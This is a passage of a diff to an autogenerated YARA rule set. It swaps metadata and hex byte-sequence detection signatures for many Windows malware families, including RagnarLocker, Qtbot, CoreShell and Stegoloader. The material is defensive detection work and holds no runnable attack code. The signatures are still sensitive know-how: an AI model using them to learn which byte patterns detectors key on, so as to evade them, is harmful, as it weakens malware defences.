"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koobface_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "f46ada63a222e5519816a10f8a2e3c2cfb8e81915e639c45c54d3595ef668e74" + logic_hash = "0e852ce8a28d3657fb835380a3e7fdc823e6b573b8d3e8c2631736d136315996" score = 75 quality = 75 tags = "FILE" @@ -93830,34 +94019,34 @@ rule MALPEDIA_Win_Kk_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a4510 53 56 8bf1 57 8b7d08 8886d4000000 } - $sequence_1 = { 8d85f4fdffff 68???????? 50 e8???????? 8d85f8feffff 50 8d85f4fdffff } - $sequence_2 = { bb01000000 8b461c 83782c00 7421 8b4614 3bc2 761a } - $sequence_3 = { 7524 a1???????? a3???????? a1???????? c705????????24961010 8935???????? } - $sequence_4 = { 51 8b4508 b94d5a0000 66c7004d5a 663908 7404 33c0 } - $sequence_5 = { ff15???????? 53 50 8985ecfdffff 899de8fdffff ff15???????? } - $sequence_6 = { 741c 8d45cc 50 c745cc0b000000 c745f03ce51210 e8???????? 85c0 } - $sequence_7 = { 885dda c78504ffffff5245475f c78508ffffff45585041 c7850cffffff4e445f53 66c78510ffffff5a00 c78574ffffff5245475f c78578ffffff44574f52 } - $sequence_8 = { 897dfc 8b3d???????? ffd7 6a01 ff35???????? 8d8dbc60ffff ff35???????? } - $sequence_9 = { 8bf1 837e1410 57 7202 8b0e 8b450c } + $sequence_0 = { 8d85c8f3ffff 50 ffd6 8d85d8f3ffff 50 c645fc06 ffd6 } + $sequence_1 = { 56 e8???????? 59 50 56 8d8f50010000 e8???????? } + $sequence_2 = { 50 0fb78538c1ffff 50 ffb534c1ffff 8d85f0e8ffff ffb530c1ffff 68???????? } + $sequence_3 = { 6874040000 b8???????? e8???????? 8b4508 } + $sequence_4 = { 8bd6 c1fa05 8b1495a0534200 83e61f c1e606 f644320480 7416 } + $sequence_5 = { 5e 8bc3 5b 5d c20c00 e9???????? 55 } + $sequence_6 = { ff91b4000000 ff75d8 ffd3 8b4514 3bc7 } + $sequence_7 = { 50 e8???????? 68???????? 8d850857ffff 50 } + $sequence_8 = { 8906 3bc7 7425 6aeb 50 ff15???????? ff750c } + $sequence_9 = { ff11 8b45e0 c645fc02 85c0 7406 8b08 50 } condition: - 7 of them and filesize < 3516416 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Qtbot_Auto : FILE +rule MALPEDIA_Win_Powersniff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2b92b0c1-9b29-5389-8e3a-195746a37ab1" + id = "2a881adf-7d1a-56c3-b5e7-0d44ba58f640" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qtbot_auto.yar#L1-L173" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powersniff_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "eee36880d1f59f5f14d38b39d151180259128bb7c87bcaf8aa7d62fcdb47e198" - score = 60 - quality = 25 + logic_hash = "5f0dc4acb7c58a41f657c7beac5f0371e51ded838f8edb6d41966e6195e43ff4" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -93869,38 +94058,32 @@ rule MALPEDIA_Win_Qtbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4510 89450c 8d4301 0fb6d8 8a941dfcfeffff } - $sequence_1 = { 33c0 53 8a1a 6bc80d } - $sequence_2 = { 0fb6c3 83c0d0 03c1 25ffffff00 42 8a1a } - $sequence_3 = { 33f6 8bde 85ff 7455 8b4510 89450c } - $sequence_4 = { 84db 75e9 5b 5d } - $sequence_5 = { 64a130000000 8b400c 8b7014 ad 8b00 8b4010 } - $sequence_6 = { 742a 8b049a 03c6 50 e8???????? 3b4508 740b } - $sequence_7 = { 88841dfcfeffff 889435fcfeffff 0fb68c1dfcfeffff 0fb6c2 03c8 8b450c 0fb6c9 } - $sequence_8 = { 59 837e04ff 8bd8 8d7e08 7504 8b2f } - $sequence_9 = { 53 6a00 6a00 ff15???????? 833e05 7521 } - $sequence_10 = { 8d7e08 7504 8b2f eb02 8bef 8b06 83661c00 } - $sequence_11 = { eb60 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c300010 } - $sequence_12 = { 49 c745e8ff000000 8b3c857c300010 c745ecffff0000 0faff9 83f801 c745f0ffffff00 } - $sequence_13 = { 894dfc eb0e 8b14957c300010 49 0fafd1 } - $sequence_14 = { 83f807 0f87c7000000 ff24857e230010 832700 e9???????? } - $sequence_15 = { e9???????? 33c0 8b7df4 8b0c855c300010 } + $sequence_0 = { 8b5dec ff75fc e8???????? 8bd8 3bde } + $sequence_1 = { 894df4 33ff eb08 3c0d 7408 47 } + $sequence_2 = { c745e04d9b0010 c745e46f910010 c745e8a2910010 c745ec549b0010 c745f0c2910010 } + $sequence_3 = { 8b4508 56 be???????? 57 8908 8a03 894dfc } + $sequence_4 = { 8975ec 8b75f4 c1ee18 8b34b590740010 } + $sequence_5 = { eb12 c745fc08000000 eb09 ff15???????? 8945fc 8b45fc 5f } + $sequence_6 = { 33db 43 5e 5f ff75fc ff15???????? ff75f0 } + $sequence_7 = { 750f ff15???????? 3de5030000 750d eb09 ff7610 } + $sequence_8 = { ff15???????? 8bf8 897df0 3bfb 7435 8d4508 50 } + $sequence_9 = { 331cb590840010 c1ea18 8b349590780010 8b55f4 335808 c1ea08 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Derohe_Auto : FILE +rule MALPEDIA_Win_Scout_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4840f450-01b9-530f-9f3a-ae1edecbe97a" + id = "e14921fe-74c7-5cda-92ba-67e7cc0f28ef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derohe_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scout" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scout_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "d33bdd1d4e902dd1e401bdb13051180ed9ff9ef53abcf198b2156206eaf60cc4" + logic_hash = "3e6544ff6fee99e30b42c384814b4a00494424215e1f894b7afbd76f2c9391e8" score = 75 quality = 75 tags = "FILE" @@ -93914,32 +94097,32 @@ rule MALPEDIA_Win_Derohe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 8b542404 c6042443 8b02 ffd0 8b542404 c60424c9 } - $sequence_1 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424b7 } - $sequence_2 = { e8???????? 5a 85c0 0f846b050000 8b742428 31c0 8b1f } - $sequence_3 = { ffd0 8b542404 c60424fe 8b02 ffd0 8b542404 c6042424 } - $sequence_4 = { ffd0 8b542404 c60424d4 8b02 ffd0 8b542404 c6042464 } - $sequence_5 = { ffd0 8b542404 c60424ae 8b02 ffd0 8b542404 c6042435 } - $sequence_6 = { ff702c ff15???????? 0fb7431c 897318 83e00a 83c410 6683f80a } - $sequence_7 = { ffd0 8b542404 c604245f 8b02 ffd0 8b542404 c60424f5 } - $sequence_8 = { ffd0 8b542404 c60424ba 8b02 ffd0 8b542404 c60424c5 } - $sequence_9 = { e8???????? 8b542414 8b4318 2982d4000000 8b4718 89c1 81e110900000 } + $sequence_0 = { 817c243031313131 7445 690d????????60ea0000 ff15???????? 8b0d???????? b867666666 ffc1 } + $sequence_1 = { 8d58b0 498bce 448bc3 488d154cac0000 e8???????? 85c0 } + $sequence_2 = { 7706 ff15???????? 488364243000 488d0d849f0000 8364242800 41b803000000 4533c9 } + $sequence_3 = { 83c8ff eb0b 4803f6 418b84f728950100 } + $sequence_4 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 } + $sequence_5 = { 488b8d80140000 ff15???????? 488d537c 41b888140000 } + $sequence_6 = { 4885c9 750b 488d0d29f10000 48894b48 4963d0 e8???????? } + $sequence_7 = { 488d0d36fbfeff 83e03f 458be9 4d03e8 4c8945df 4c8be6 } + $sequence_8 = { 488d0dd4f90000 4183e23f 4d03f0 4d8bf8 } + $sequence_9 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 e8???????? } condition: - 7 of them and filesize < 35788800 + 7 of them and filesize < 315392 } -rule MALPEDIA_Win_Kegotip_Auto : FILE +rule MALPEDIA_Win_Stegoloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "70477c51-c689-59a8-8176-7550acce9ee4" + id = "8b6a7b2b-6883-5a49-84ad-5eb99ca2dffd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kegotip_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stegoloader_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "da81d78c4e1182921c0ea815e9750dcd5bacf467108d0f772088273b021761e1" + logic_hash = "0fc5c31b9f64d477e89b80a8b4c8cba676e173d514623e0201d322a0680fd5e3" score = 75 quality = 75 tags = "FILE" @@ -93953,32 +94136,38 @@ rule MALPEDIA_Win_Kegotip_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb04 33c0 eb6d e9???????? eb63 } - $sequence_1 = { 85c9 740b 8b5508 0355f8 8955fc eb02 ebbb } - $sequence_2 = { 8b450c 50 8d8df8feffff 51 e8???????? 83c408 c785a8fcffff80000000 } - $sequence_3 = { 0f840c010000 6a00 6a00 6a03 6a00 6a00 6a50 } - $sequence_4 = { 0fb64df7 85c9 7504 32c0 eb38 c645f700 } - $sequence_5 = { 3b5588 7d1e 8b4508 038578ffffff 0fbe4801 } - $sequence_6 = { ff5510 83c408 0fb6c8 85c9 7504 32c0 eb07 } - $sequence_7 = { 6a00 6800000080 8d95d8feffff 52 ff15???????? 8945e4 837de4ff } - $sequence_8 = { 32c0 e9???????? 68???????? e8???????? 83c404 68???????? } - $sequence_9 = { 3b4dfc 7324 8b5510 0355e4 8b45f4 0345f8 } + $sequence_0 = { 759d 8b043e 0345fc eb03 } + $sequence_1 = { 51 51 8b4514 8b4d18 53 56 57 } + $sequence_2 = { 8d4b01 40 57 894c2414 89442410 8d4c2410 } + $sequence_3 = { 881e 8811 0fb68801010000 0fb69000010000 8a0c01 020c02 8b55fc } + $sequence_4 = { 897dfc 8bf7 3bf7 743a 8bce } + $sequence_5 = { 50 8d45f0 50 53 53 ff75f8 e8???????? } + $sequence_6 = { 8945f0 894dfc 394dfc 753c 394e18 } + $sequence_7 = { 8bd3 e8???????? 03f3 59 8945f4 85c0 } + $sequence_8 = { 2b4c2408 8b542414 8a09 ff442414 48 880a } + $sequence_9 = { 895e04 895e08 895e0c 7611 53 } + $sequence_10 = { ff7108 e8???????? c3 56 8bf1 e8???????? f644240801 } + $sequence_11 = { 49 49 51 ff7004 8b4f04 } + $sequence_12 = { ff442414 48 880a 75e9 eb5b 83e803 eb02 } + $sequence_13 = { 8bf8 33f6 8b1c3e 6a40 83c604 8b043e } + $sequence_14 = { 83ceff 394c240c 7629 57 8b44240c 0fb61401 6a08 } + $sequence_15 = { c645ff00 8bc8 8bc7 f7f1 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 802816 } -rule MALPEDIA_Win_Bangat_Auto : FILE +rule MALPEDIA_Win_Ice_Ix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "05c414bb-9422-5f0e-974d-c56fdab166b4" + id = "923bfba5-fc64-5bcc-9e18-fd2e69647e54" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bangat_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_ix_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "5cb16644073e6088f8c102fdd3bad27fec482e34ef437064c8f923550a4b4259" + logic_hash = "88c417db4270d272cced0c61349b1fd36aad8c36a3945176ae9dc99a2eba0afc" score = 75 quality = 75 tags = "FILE" @@ -93992,32 +94181,32 @@ rule MALPEDIA_Win_Bangat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d45fc 50 e8???????? 8b4508 8325????????00 83c418 } - $sequence_1 = { 3bc7 7d02 8bc7 50 ff75d8 68???????? 56 } - $sequence_2 = { 8a8888f44000 ff248d30f44000 8b5e6c 5f 8bc3 5e 5b } - $sequence_3 = { 33c9 8a4c2432 8a9950ec4700 33c9 8aa850ec4700 8bfb } - $sequence_4 = { 6859020000 68???????? 68fc000000 6a77 6a14 e8???????? } - $sequence_5 = { 8b348d50e84700 33c6 8d7720 8bbff0000000 33c5 d1ff 4f } - $sequence_6 = { 83c40c 6a0a 53 53 8d45f4 53 } - $sequence_7 = { ff15???????? 85c0 742d 8d85d4feffff 50 8d85d4f5ffff 68???????? } - $sequence_8 = { 895c2424 897c2428 e8???????? 83c414 e8???????? 53 } - $sequence_9 = { 85c0 749b 6803002e00 6a00 6812030000 68ffff0000 } + $sequence_0 = { e8???????? 56 6a47 8945f0 } + $sequence_1 = { 8db508ffffff 58 e8???????? 6a63 8d7598 58 e8???????? } + $sequence_2 = { 6a08 6a00 8d45f4 50 e8???????? 8db5d8feffff b89b000000 } + $sequence_3 = { 6a2d 58 e8???????? ff75d0 ff15???????? } + $sequence_4 = { 85ff 0f8403020000 8a1408 80fa0d } + $sequence_5 = { 833d????????04 8b7c2414 1bc0 f7d8 68cc000000 83c034 e8???????? } + $sequence_6 = { 6a3f 8d75b8 58 e8???????? 8b4df4 8bc6 50 } + $sequence_7 = { c20400 55 8bec 83ec20 56 6a5c } + $sequence_8 = { 741d 48 7416 83e80b 740d 83e805 7404 } + $sequence_9 = { 57 ff15???????? 8b4640 3bc3 0f84a8000000 6800000010 68254e0000 } condition: - 7 of them and filesize < 1228800 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Unidentified_041_Auto : FILE +rule MALPEDIA_Win_Nevada_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9647b3bf-4e79-5038-aba8-fe9b062b7eaf" + id = "d851b978-3df8-538e-b0a6-f5a42a4c41f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_041_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nevada" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nevada_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ad11b25191c5069b1a65640fe7bbe0cd58f54821b3d55fbf4025b9ccae632082" + logic_hash = "5d586f59dca860d1839b19790bc7f7be57e580648d77868dbbba465dd7726682" score = 75 quality = 75 tags = "FILE" @@ -94031,34 +94220,34 @@ rule MALPEDIA_Win_Unidentified_041_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8913 8b4dfc 8bc3 5f 5e 33cd 5b } - $sequence_1 = { 668945be 59 668b440dbc 6603440ddc 6689440dbe 83c102 83f91e } - $sequence_2 = { ff7508 57 53 ff15???????? 83f8ff 74c4 eb03 } - $sequence_3 = { 5d c20800 8325????????00 c3 55 8bec 8b4508 } - $sequence_4 = { 85ff 7428 3bf9 741c 8b75f8 8bd9 6a00 } - $sequence_5 = { 8d4dc4 c645fc00 e8???????? 8b4dec 6a18 58 03c8 } - $sequence_6 = { ff7508 68???????? 6a40 50 e8???????? 83c414 8d8578ffffff } - $sequence_7 = { 57 33db 53 ff15???????? 85c0 7552 ff15???????? } - $sequence_8 = { 72ee 81fbffffff7f 76e6 57 53 8d4dc0 e8???????? } - $sequence_9 = { 5d c20400 6a1c b8???????? e8???????? 8bf1 33db } + $sequence_0 = { 4889ea e8???????? 0f0b 4c8d0515c10200 ba00100000 4889e9 e8???????? } + $sequence_1 = { 4d89f8 664585e4 0f8597feffff e9???????? 4981fe01010000 0f834a010000 0f57c0 } + $sequence_2 = { e8???????? 4c8da42450020000 4c89e1 4889fa 4d89f8 e8???????? 488db42478020000 } + $sequence_3 = { 4839ce 74c4 803ea0 72bf eb3e 4839ce 4889d7 } + $sequence_4 = { 438a443cff 3c2f 7438 3c5c 7434 e9???????? 41813f5c5c3f5c } + $sequence_5 = { 415f c3 4c8d642430 488dac24b0000000 eb26 488b8424c0000000 48035c2420 } + $sequence_6 = { 4080fd02 0f8510010000 488d6901 4c39c5 0f83fe000000 803c2abf b301 } + $sequence_7 = { 0f821affffff 8b442428 4189442434 8a442427 4188442438 31ed e9???????? } + $sequence_8 = { 48837f1000 0f859c010000 4d89c4 4989d7 488d4710 488945e8 48c74710ffffffff } + $sequence_9 = { 4c8d3559910200 4c39c9 7317 0f1f840000000000 4885db 740a 803c0b45 } condition: - 7 of them and filesize < 1097728 + 7 of them and filesize < 1063936 } -rule MALPEDIA_Win_Coreshell_Auto : FILE +rule MALPEDIA_Win_Rarog_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "68c75bba-5c1e-5e9d-b9a1-c2a54cb41bad" + id = "f5f8ab57-da39-59fd-96e2-5478facae854" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coreshell_auto.yar#L1-L414" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarog_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "964533465ea71e27159b30ec40d2ad04ff56c4993e1303c6d09339c487e78d9b" + logic_hash = "631ab74dfbbcce858a4c6605f35ed1c081c9a6b77767d5321714353e8fbb62e4" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -94070,69 +94259,32 @@ rule MALPEDIA_Win_Coreshell_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 ff15???????? 83c40c 3bc6 } - $sequence_1 = { 6810270000 ff15???????? be06000000 e8???????? 85c0 7401 4e } - $sequence_2 = { 68???????? 52 ffd7 ffd0 } - $sequence_3 = { 6a00 ff15???????? 8bf0 ff15???????? 50 68???????? 68???????? } - $sequence_4 = { 8d041e 50 57 6a08 51 ff15???????? 8bf8 } - $sequence_5 = { 6804010000 6a08 8b15???????? 52 ff15???????? } - $sequence_6 = { 8b0d???????? 8b15???????? 6a01 51 68???????? 52 } - $sequence_7 = { c20400 50 a1???????? 6a00 50 } - $sequence_8 = { e8???????? 85c0 7402 eb14 c745f000000000 68e0930400 ff15???????? } - $sequence_9 = { 8d4c2400 56 51 6a00 } - $sequence_10 = { 50 a3???????? ffd6 a3???????? } - $sequence_11 = { 8bf1 8b4604 85c0 7407 50 ff15???????? 8b36 } - $sequence_12 = { ff15???????? ffd0 85c0 7508 } - $sequence_13 = { 8b0d???????? 52 50 57 68???????? } - $sequence_14 = { 68???????? 6800080000 8d85fcefffff 50 } - $sequence_15 = { 68???????? 50 ffd6 6a00 6a00 6a00 } - $sequence_16 = { 8d442404 6a00 8bf1 50 c744240c00000000 ff15???????? } - $sequence_17 = { 52 ff15???????? 8b0d???????? 8bf0 8b5c241c 8d041e } - $sequence_18 = { 50 68???????? 68???????? 8985f0fdffff 8d85f4fdffff 6804010000 50 } - $sequence_19 = { 03cf 880431 fec3 ebe6 } - $sequence_20 = { 52 e8???????? 83c408 33c0 8b4df0 64890d00000000 } - $sequence_21 = { 81e1ffff0000 81e1ffff0000 81e1ff000000 81e1ff000000 } - $sequence_22 = { 5d 83c8ff 5b c20c00 03f7 } - $sequence_23 = { 8b8dd8edffff 51 8d95f4edffff 52 } - $sequence_24 = { 81e2ffff0000 81e2ffff0000 c1ea08 81e2ff000000 } - $sequence_25 = { e8???????? 8be8 8b442410 50 e8???????? } - $sequence_26 = { 6888130000 ff15???????? c745f000000000 c745f400000000 } - $sequence_27 = { 25ffff0000 0fb7c8 c1e908 81e1ff000000 0fb6d1 52 } - $sequence_28 = { ff15???????? 83c414 8d95f4fdffff 52 ff15???????? } - $sequence_29 = { 56 51 56 6a01 } - $sequence_30 = { ff15???????? ba00080000 2bd0 52 8d85fcefffff } - $sequence_31 = { a1???????? 50 68???????? 8b0d???????? 51 ff15???????? ffd0 } - $sequence_32 = { 0305???????? 50 ff15???????? a1???????? } - $sequence_33 = { ffd6 ffd0 68???????? a3???????? } - $sequence_34 = { 68???????? 51 ffd3 ffd0 } - $sequence_35 = { 5f 5b 5d c3 b81c000000 e8???????? 89e0 } - $sequence_36 = { 29d6 0faff0 31d2 f7f6 } - $sequence_37 = { 5f 5d c3 89e0 c70010270000 } - $sequence_38 = { 68???????? 53 a3???????? ffd6 68???????? a3???????? ffd7 } - $sequence_39 = { 29d6 01f0 a3???????? e9???????? } - $sequence_40 = { 690006000000 0306 8b4dcc 8b09 } - $sequence_41 = { a3???????? ffd7 8bd8 68???????? } - $sequence_42 = { bf04010000 57 6a08 ff35???????? ff15???????? } - $sequence_43 = { 6689fb 0fb7fb c1ef08 81e7ff000000 } - $sequence_44 = { 8908 8b00 8b5004 8b35???????? } - $sequence_45 = { 56 57 8b3d???????? 68???????? ffd7 8b35???????? 68???????? } - $sequence_46 = { 8908 8b15???????? 89d6 81c609000000 } + $sequence_0 = { 8b8c246c030000 33cc e8???????? 8be5 5d c3 55 } + $sequence_1 = { 8d45b8 50 8d4d24 e8???????? 83781408 7202 8b00 } + $sequence_2 = { 89a504ffffff c741140f000000 895910 68???????? 8819 e8???????? e8???????? } + $sequence_3 = { 8bc8 8bdf c645fc01 e8???????? c645fc02 c70424???????? 50 } + $sequence_4 = { c645fc22 e8???????? 8bd8 8db5bcfbffff c645fc23 e8???????? 8bf8 } + $sequence_5 = { ffb510ffffff 8d8d48ffffff e8???????? 8d9d48ffffff e8???????? 8b8510ffffff } + $sequence_6 = { 8bc4 89a550ffffff 50 e8???????? 8b8d5cffffff c645fc17 } + $sequence_7 = { 884597 c645fc04 e8???????? 83ec1c } + $sequence_8 = { ff7518 8845bc ff7514 8d45b0 ff75bc ff75d0 50 } + $sequence_9 = { 83c40c 8d8dbcfbffff 51 8bc8 } condition: - 7 of them and filesize < 303100 + 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Ragnarlocker_Auto : FILE +rule MALPEDIA_Win_Eagerbee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "115610a4-debf-5e53-866c-588d0e4a674d" + id = "7a126278-7eb1-5d08-9b25-74b27f2a3312" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarlocker_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eagerbee_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "6d88f5a9935c94f31e5ef388da569a4f1a15523f9d92a2b5d9dd3611cf9ee236" + logic_hash = "a3d744962e3184242280e8a1606b8e9d39f3a62e4bfb278481827290e0059489" score = 75 quality = 75 tags = "FILE" @@ -94146,32 +94298,32 @@ rule MALPEDIA_Win_Ragnarlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7da4 0facd106 33fe c1ea06 33d9 8b4da8 33fa } - $sequence_1 = { c1e017 0bd8 8b45cc 0bf9 8b4dd4 33d2 } - $sequence_2 = { 33d0 03de 8b4dfc 8b75f8 8bc6 13fa c745bc00000000 } - $sequence_3 = { 8bf1 0facd113 c1e60d c1ea13 0bf2 895da8 8b957cffffff } - $sequence_4 = { 33db 0bd9 8975a4 8b8d50ffffff 8bfa 0fa4ca03 c1ef1d } - $sequence_5 = { 56 8b75f8 56 6a03 6a3b 57 ff15???????? } - $sequence_6 = { 8945e0 8b4594 8945e4 8b4590 8945e8 8b458c 8945c0 } - $sequence_7 = { 99 0bf2 c1e308 0bd8 0fb64143 0fa4de08 } - $sequence_8 = { 0bd8 0fb6410f 0fa4de08 8b4d98 99 0bf2 c1e308 } - $sequence_9 = { c1ea0e 3175fc 0bfa 8b75dc 33df 8b7de0 f7d6 } + $sequence_0 = { 3986f4160000 0f8576ffffff 8b8684000000 85c0 7809 488bd0 } + $sequence_1 = { 488d4c0422 44896309 e8???????? 8bd0 e9???????? 488d4c0421 e8???????? } + $sequence_2 = { 44396818 0f84b7010000 488d1de463ffff beffff0000 bd00010000 e9???????? 4439af90000000 } + $sequence_3 = { 885c247d 488b08 488d542470 ff5058 b9fb010000 488bd8 e8???????? } + $sequence_4 = { c684242b0100006d 4088bc242c010000 4088b4242d010000 48397308 0f84ae030000 488b05???????? c684249000000073 } + $sequence_5 = { 33c9 8bd7 41b800300000 ff15???????? 8b5500 } + $sequence_6 = { c644243432 c64424352e c644243664 884c2438 488d4c2430 c644243900 } + $sequence_7 = { 488d8c24e0040000 48894c2420 488b8c24e8040000 4c8bc3 ba01000000 ffd0 488b05???????? } + $sequence_8 = { 8a8424c0000000 8b9c24a8000000 488bbc2498000000 88442450 488b8424b8000000 498943e0 8a8424b0000000 } + $sequence_9 = { 4883ec38 83fa01 7528 488364242800 8364242000 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 422912 } -rule MALPEDIA_Win_Pslogger_Auto : FILE +rule MALPEDIA_Win_Whitebird_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7125bcf7-61fe-59fe-bcb6-1726a032b5b5" + id = "1f55b3f7-b049-5ddb-a603-f3dac3229eba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pslogger_auto.yar#L1-L166" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whitebird_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "f827a0de7cefc58a148c7605b546e1b2c29f64eac98a4dd15fd09ff9985d232c" + logic_hash = "084753ca04c12bd29943e734768bdc4d7b6a6a5445a6b9fa8738444da44f9e8b" score = 75 quality = 75 tags = "FILE" @@ -94185,38 +94337,37 @@ rule MALPEDIA_Win_Pslogger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8bc8 e8???????? 4863f0 } - $sequence_1 = { 4885c9 7406 ff15???????? 4883c318 } - $sequence_2 = { 8d4601 4863e8 488bcd e8???????? } - $sequence_3 = { 483bc8 740e 4885c9 7406 } - $sequence_4 = { ff15???????? b801000000 488b8c2488000000 4833cc e8???????? } - $sequence_5 = { 498bcc e8???????? 33d2 41b8b80b0000 498bcc } - $sequence_6 = { c3 488b0d???????? 33d2 ff15???????? 488b0d???????? 33d2 ff15???????? } - $sequence_7 = { b910000000 ff15???????? 6685c0 7910 b914000000 ff15???????? 6685c0 } - $sequence_8 = { 895c2414 ff35???????? ffd6 e9???????? 85c9 } - $sequence_9 = { 8bf0 83c408 85f6 0f84e8000000 8bce 8d5101 } - $sequence_10 = { 85c0 7e25 66660f1f840000000000 8894373d1c0000 b801000000 } - $sequence_11 = { 393b 0f45f8 33c9 89bd58fbffff 0f1f4000 } - $sequence_12 = { 6bc830 8b049588b14200 f644082801 7414 8d4508 8945fc 8d45fc } - $sequence_13 = { 68???????? 50 e8???????? 8d842470030000 68???????? 50 e8???????? } - $sequence_14 = { 85c0 0f8568fcffff 668b8594fbffff 83431810 } - $sequence_15 = { 58 668906 8b048d88b14200 6a0a 8854382a } + $sequence_0 = { eb09 80f92f 0f95c1 80c13f } + $sequence_1 = { 